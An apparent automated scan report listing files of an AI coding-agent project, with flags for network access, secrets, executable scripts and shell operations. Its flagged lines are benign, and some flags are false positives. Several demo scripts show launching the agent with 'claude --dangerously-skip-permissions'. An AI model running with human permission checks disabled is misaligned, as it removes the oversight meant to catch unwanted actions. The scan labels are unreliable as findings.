skills/loki-mode/benchmarks/results/humaneval-loki-solutions/127.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/128.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/129.py
- Executable scriptline 1
Executable file - Network accessline 48
directions = [(-1, 0), (1, 0), (0, -1), (0, 1)] for dr, dc in directions: nr, nc = row_1 + dr, col_1 + dc - Network accessline 49
for dr, dc in directions: nr, nc = row_1 + dr, col_1 + dc if 0 <= nr < n and 0 <= nc < n: - Network accessline 50
nr, nc = row_1 + dr, col_1 + dc - Network accessline 51
if 0 <= nr < n and 0 <= nc < n:
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/13.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/130.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/131.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/132.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/133.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/134.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/135.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/136.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/137.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/138.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/139.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/14.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/140.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/141.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/142.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/143.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/144.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/145.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/146.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/147.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/148.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/149.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/15.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/150.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/151.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/152.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/153.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/154.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/155.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/156.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/157.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/158.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/159.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/16.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/160.py
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/161.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/162.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/163.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/17.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/18.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/19.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/2.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/20.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/21.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/22.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/23.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/24.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/25.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/26.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/27.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/28.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/29.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/3.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/30.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/31.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/32.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/33.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/34.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/35.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/36.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/37.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/38.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/39.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/4.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/40.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/41.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/42.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/43.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/44.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/45.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/46.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/47.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/48.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/49.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/5.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/50.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/51.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/52.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/53.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/54.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/55.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/56.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/57.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/58.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/59.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/6.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/60.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/61.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/62.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/63.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/64.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/65.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/66.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/67.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/68.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/69.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/7.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/70.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/71.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/72.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/73.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/74.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/75.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/76.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/77.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/78.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/79.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/8.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/80.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/81.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/82.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/83.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/84.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/85.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/86.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/87.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/88.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/89.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/9.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/90.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/91.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/92.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/93.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/94.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/95.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/96.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/97.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/98.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/results/humaneval-loki-solutions/99.py
- Executable scriptline 1
Executable file
skills/loki-mode/benchmarks/run-benchmarks.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 162
log_info "Downloading HumanEval dataset..." curl -sL "https://github.com/openai/human-eval/raw/master/data/HumanEval.jsonl.gz" | \ - Network accessline 163
curl -sL "https://github.com/openai/human-eval/raw/master/data/HumanEval.jsonl.gz" | \ - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Access to secretsline 254
[Credential-related source omitted] - Access to secretsline 255
[Credential-related source omitted] - Access to secretsline 256
[Credential-related source omitted] - Access to secretsline 257
[Credential-related source omitted] - Access to secretsline 258
[Credential-related source omitted] - Access to secretsline 531
[Credential-related source omitted] - Access to secretsline 532
[Credential-related source omitted] - Access to secretsline 533
[Credential-related source omitted] - Access to secretsline 534
[Credential-related source omitted] - Access to secretsline 535
[Credential-related source omitted] - Access to secretsline 536
[Credential-related source omitted] - Access to secretsline 934
[Credential-related source omitted] - Network accessline 939
"version": "1.0", "description": "300 real-world GitHub issues for evaluation", "source": "https://github.com/SWE-bench/SWE-bench", - Network accessline 940
"description": "300 real-world GitHub issues for evaluation", "source": "https://github.com/SWE-bench/SWE-bench", "problems": 300, - Network accessline 941
"source": "https://github.com/SWE-bench/SWE-bench", - Access to secretsline 981
[Credential-related source omitted] - Access to secretsline 1033
[Credential-related source omitted] - Access to secretsline 1034
[Credential-related source omitted] - Access to secretsline 1035
[Credential-related source omitted] - Access to secretsline 1036
[Credential-related source omitted] - Access to secretsline 1037
[Credential-related source omitted] - Access to secretsline 1240
[Credential-related source omitted] - Access to secretsline 1241
[Credential-related source omitted] - Access to secretsline 1242
[Credential-related source omitted] - Access to secretsline 1243
[Credential-related source omitted] - Access to secretsline 1244
[Credential-related source omitted] - Access to secretsline 1245
[Credential-related source omitted] - Access to secretsline 1783
[Credential-related source omitted]
skills/loki-mode/benchmarks/submission-template/README.md
- Network accessline 67
- **GitHub**: [asklokesh/loki-mode](https://github.com/asklokesh/loki-mode) - Network accessline 74
# Clone the repository git clone https://github.com/asklokesh/loki-mode.git - Network accessline 75
git clone https://github.com/asklokesh/loki-mode.git - Network accessline 105
- Built for the [Claude Code](https://claude.ai) ecosystem - Network accessline 111
- GitHub: [@asklokesh](https://github.com/asklokesh)
skills/loki-mode/benchmarks/submission-template/metadata.yaml
- Network accessline 56
date: "2026-01-05" author: "Loki Mode Team" repository: "https://github.com/asklokesh/loki-mode" - Network accessline 57
author: "Loki Mode Team" repository: "https://github.com/asklokesh/loki-mode" license: "MIT" - Network accessline 58
repository: "https://github.com/asklokesh/loki-mode"
skills/loki-mode/demo/README.md
- Network accessline 49
The dashboard opens at: http://127.0.0.1:57374/dashboard/index.html - Network accessline 126
| Demo | Duration | Link | |------|----------|------| | Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) | - Network accessline 127
|------|----------|------| | Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) | | Full Demo | 15 min | [YouTube](https://youtube.com/watch?v=loki-demo) | - Network accessline 128
| Quick Start | 5 min | [asciinema](https://asciinema.org/a/loki-quick-start) | - Network accessline 129
| Full Demo | 15 min | [YouTube](https://youtube.com/watch?v=loki-demo) |
skills/loki-mode/demo/record-demo.sh
- Executable scriptline 1
#!/bin/bash
skills/loki-mode/demo/record-full-demo.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 112
echo " +------------------+------------------+" echo "" echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html" - Network accessline 113
echo "" echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html" echo "" - Network accessline 114
echo "The dashboard will open at: http://127.0.0.1:57374/dashboard/index.html"
skills/loki-mode/demo/run-demo-auto.sh
- Executable scriptline 1
#!/bin/bash
skills/loki-mode/demo/run-demo.sh
- Executable scriptline 1
#!/bin/bash - Instruction override signalline 108
step "To invoke Loki Mode, you would run:" echo "" echo -e "${CYAN} claude --dangerously-skip-permissions${NC}" - Instruction override signalline 109
echo "" echo -e "${CYAN} claude --dangerously-skip-permissions${NC}" echo "" - Instruction override signalline 110
echo -e "${CYAN} claude --dangerously-skip-permissions${NC}" - Instruction override signalline 313
echo "To run Loki Mode for real:" echo "" echo -e " ${CYAN}claude --dangerously-skip-permissions${NC}" - Instruction override signalline 314
echo "" echo -e " ${CYAN}claude --dangerously-skip-permissions${NC}" echo -e " ${CYAN}> Loki Mode with PRD at $PRD_FILE${NC}" - Instruction override signalline 315
echo -e " ${CYAN}claude --dangerously-skip-permissions${NC}" - Network accessline 316
echo -e " ${CYAN}> Loki Mode with PRD at $PRD_FILE${NC}" echo "" echo "Documentation: https://github.com/asklokesh/loki-mode" - Network accessline 317
echo "" echo "Documentation: https://github.com/asklokesh/loki-mode" echo "" - Network accessline 318
echo "Documentation: https://github.com/asklokesh/loki-mode" - Dangerous shell operationline 323
echo -e "${YELLOW}Run 'rm -rf $DEMO_WORKSPACE' to clean up${NC}"
skills/loki-mode/demo/vhs-tape.tape
- Instruction override signalline 29
# Step 1: Show we're starting Claude Code Sleep 1s Type "claude --dangerously-skip-permissions" - Instruction override signalline 30
Sleep 1s Type "claude --dangerously-skip-permissions" Enter - Instruction override signalline 31
Type "claude --dangerously-skip-permissions"
skills/loki-mode/demo/voice-over-script.md
skills/loki-mode/docs/COMPETITIVE-ANALYSIS.md
- Instruction override signalline 20
| **Full SDLC** | Yes (8 phases) | Yes | Partial | Partial | No | Partial | | **Business Ops** | **Yes (8 agents)** | No | No | No | No | No | | **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit - Instruction override signalline 21
| **Business Ops** | **Yes (8 agents)** | No | No | No | No | No | | **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit logs, RBAC | Staged autonomy | Sandboxed | | **Cross-Project Learning** | No - Instruction override signalline 22
| **Enterprise Security** | `--dangerously-skip-permissions` | MCP sandboxed | Sandboxed | Audit logs, RBAC | Staged autonomy | Sandboxed | - Network accessline 35
### Claude-Flow (10.7K Stars) **Repository:** [ruvnet/claude-flow](https://github.com/ruvnet/claude-flow) - Network accessline 36
**Repository:** [ruvnet/claude-flow](https://github.com/ruvnet/claude-flow) - Network accessline 59
### MetaGPT (62.4K Stars) **Repository:** [FoundationAgents/MetaGPT](https://github.com/FoundationAgents/MetaGPT) - Network accessline 60
**Repository:** [FoundationAgents/MetaGPT](https://github.com/FoundationAgents/MetaGPT) - Network accessline 84
### CrewAI (25K+ Stars, $18M Raised) **Repository:** [crewAIInc/crewAI](https://github.com/crewAIInc/crewAI) - Network accessline 85
**Repository:** [crewAIInc/crewAI](https://github.com/crewAIInc/crewAI) - Network accessline 108
### Cursor Agent Mode (Commercial, $29B Valuation) **Website:** [cursor.com](https://cursor.com) - Network accessline 109
**Website:** [cursor.com](https://cursor.com) - Network accessline 132
### Devin AI (Commercial, $10.2B Valuation) **Website:** [cognition.ai](https://cognition.ai) - Network accessline 133
**Website:** [cognition.ai](https://cognition.ai) - Instruction override signalline 237
### Priority 2: Security Model (Critical for Enterprise) - **Gap:** Relies on `--dangerously-skip-permissions` - Instruction override signalline 238
- **Gap:** Relies on `--dangerously-skip-permissions` - Network accessline 322
- [Claude-Flow GitHub](https://github.com/ruvnet/claude-flow) - Network accessline 323
- [MetaGPT GitHub](https://github.com/FoundationAgents/MetaGPT) - Network accessline 324
- [MetaGPT Paper (ICLR 2024)](https://openreview.net/forum?id=VtmBAGCN7o) - Network accessline 325
- [CrewAI GitHub](https://github.com/crewAIInc/crewAI) - Network accessline 326
- [CrewAI Framework 2025 Review](https://latenode.com/blog/ai-frameworks-technical-infrastructure/crewai-framework/crewai-framework-2025-complete-review-of-the-open-source-multi-agent-ai-platform) - Network accessline 327
- [Cursor AI Review 2025](https://skywork.ai/blog/cursor-ai-review-2025-agent-refactors-privacy/) - Network accessline 328
- [Cursor 2.0 Features](https://cursor.com/changelog/2-0) - Network accessline 329
- [Devin 2025 Performance Review](https://cognition.ai/blog/devin-annual-performance-review-2025) - Network accessline 330
- [Devin AI Real Tests](https://trickle.so/blog/devin-ai-review) - Network accessline 331
- [SWE-bench Verified Leaderboard](https://llm-stats.com/benchmarks/swe-bench-verified) - Network accessline 332
- [SWE-bench Official](https://www.swebench.com/) - Network accessline 333
- [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices)
skills/loki-mode/examples/todo-app-generated/E2E_VERIFICATION_REPORT.md
- Network accessline 460
# Browser # Navigate to http://localhost:5173 (Vite default) - Network accessline 461
# Navigate to http://localhost:5173 (Vite default) - Network accessline 462
# Or http://localhost:3000 (if configured differently) - Dangerous shell operationline 520
- ✓ No eval() or other dangerous functions
skills/loki-mode/examples/todo-app-generated/TEST_REPORT.md
skills/loki-mode/examples/todo-app-generated/backend/.gitignore
- Access to secretsline 4
[Credential-related source omitted]
skills/loki-mode/examples/todo-app-generated/backend/package-lock.json
- Network accessline 26
"node_modules/@cspotcode/source-map-support": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", - Network accessline 27
"version": "0.8.1", "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrV - Network accessline 28
"resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", - Network accessline 39
"node_modules/@gar/promisify": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", - Network accessline 40
"version": "1.1.3", "resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", "integrity": "sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==", - Network accessline 41
"resolved": "https://registry.npmjs.org/@gar/promisify/-/promisify-1.1.3.tgz", - Network accessline 46
"node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 47
"version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - Network accessline 48
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 56
"node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 57
"version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==" - Network accessline 58
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 63
"node_modules/@jridgewell/trace-mapping": { "version": "0.3.9", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - Network accessline 64
"version": "0.3.9", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", - Network accessline 65
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - Network accessline 74
"node_modules/@npmcli/fs": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", - Network accessline 75
"version": "1.1.1", "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", "integrity": "sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==", - Network accessline 76
"resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.1.1.tgz", - Network accessline 85
"node_modules/@npmcli/move-file": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", - Network accessline 86
"version": "1.1.2", "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", - Network accessline 87
"resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", - Network accessline 100
"node_modules/@tootallnate/once": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - Network accessline 101
"version": "1.1.2", "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", - Network accessline 102
"resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - Network accessline 110
"node_modules/@tsconfig/node10": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz", - Network accessline 111
"version": "1.0.12", "resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz", "integrity": "sha512-UCYBaeFvM11aU2y3YPZ//O5Rhj+xKyzy7mvcIoAjASbigy8mHMryP5cK7dgjlz2hWxh1g5pLw084E0a/wlUSFQ==", - Network accessline 112
"resolved": "https://registry.npmjs.org/@tsconfig/node10/-/node10-1.0.12.tgz", - Network accessline 117
"node_modules/@tsconfig/node12": { "version": "1.0.11", "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", - Network accessline 118
"version": "1.0.11", "resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", "integrity": "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==", - Network accessline 119
"resolved": "https://registry.npmjs.org/@tsconfig/node12/-/node12-1.0.11.tgz", - Network accessline 124
"node_modules/@tsconfig/node14": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", - Network accessline 125
"version": "1.0.3", "resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", "integrity": "sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==", - Network accessline 126
"resolved": "https://registry.npmjs.org/@tsconfig/node14/-/node14-1.0.3.tgz", - Network accessline 131
"node_modules/@tsconfig/node16": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", - Network accessline 132
"version": "1.0.4", "resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", "integrity": "sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==", - Network accessline 133
"resolved": "https://registry.npmjs.org/@tsconfig/node16/-/node16-1.0.4.tgz", - Network accessline 138
"node_modules/@types/better-sqlite3": { "version": "7.6.13", "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz", - Network accessline 139
"version": "7.6.13", "resolved": "https://registry.npmjs.org/@types/better-sqlite3/-/better-sqlite3-7.6.13.tgz", "integrity": "sha512-NMv9ASNARoKksWtsq/SHakpYAYnhBrQgGD8zkLYk/jaK8jUGn08CfEdTRgYhMypUQAfzSP8W6gNLe0q19/t4VA==", - Network accessline 140
